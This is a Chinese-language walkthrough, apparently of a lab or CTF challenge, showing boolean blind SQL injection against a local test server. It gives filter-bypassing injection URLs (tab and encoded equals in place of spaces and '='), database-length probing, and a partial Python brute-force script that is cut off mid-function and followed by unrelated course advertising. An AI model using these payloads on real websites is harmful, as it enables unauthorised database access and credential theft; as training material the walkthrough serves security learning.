判断注入语句为:‘) and 1=1#和’) and 1=2# 观察页面返回,由于页面作了空格和“=”符号的过滤,使用%09取代空格符号和%3d取代“=”
使用
http://10.10.5.79:8088/?case/14%27)%09and%091%3d1%23.html%09and%091%3d1%23.html")
代替
http://10.10.5.79:8088/?case/14’) and 1 = 1.html and 1 = 1.html") 来判断注入点
访问
http://10.10.5.79:8088/?case/14%27)")
%09and%091%3d2%23.html
判断数据库长度,使用length()函数,构造语句:
http://10.10.5.79:8088/?case/14
%27)%09and%09length(database())%3d1%23.html%09and%09length(database())%3d1%23.html"),
当等于1时返回空,将数据改为8,返回正常,说明数据库的长度为8
开始修改bool.py脚本,在脚本内容中修改参数,利用构造的盲注语句修改脚本中的语句
这里根据提示,用御剑扫描网站后台,有一个.zip后缀名的数据包,访问后发现数据库文件,找到存储password的表文件为’ay_user’,这里更改content内容表内容,直接跑出content结果。
这里附上Python脚本源码:
import requests
import string
class GetInject:
chr_str = string.ascii_lowercase + string.punctuation + string.digits
def __init__(self,url,mark,obj):
'''
obj参数举例:
obj = "database()"
obj = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
'''
self.url = url
self.mark = mark
self.obj = obj
def get_length(self):
payload_len = "14')%09and%09length({0})%3d{1}%23.html"
#如果实例参数是双引号型或者整数型,修改payload格式
i = 1
while True:
payload_len_i = payload_len.format(self.obj,i)
r = requests.get(self.url+payload_len_i)
if self.mark in r.text:
print("len",i)
return i
i += 1
def get_name(self):
### 给大家的福利
**零基础入门**
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)
同时每个成长路线对应的板块都有配套的视频提供:
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)
因篇幅有限,仅展示部分资料
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**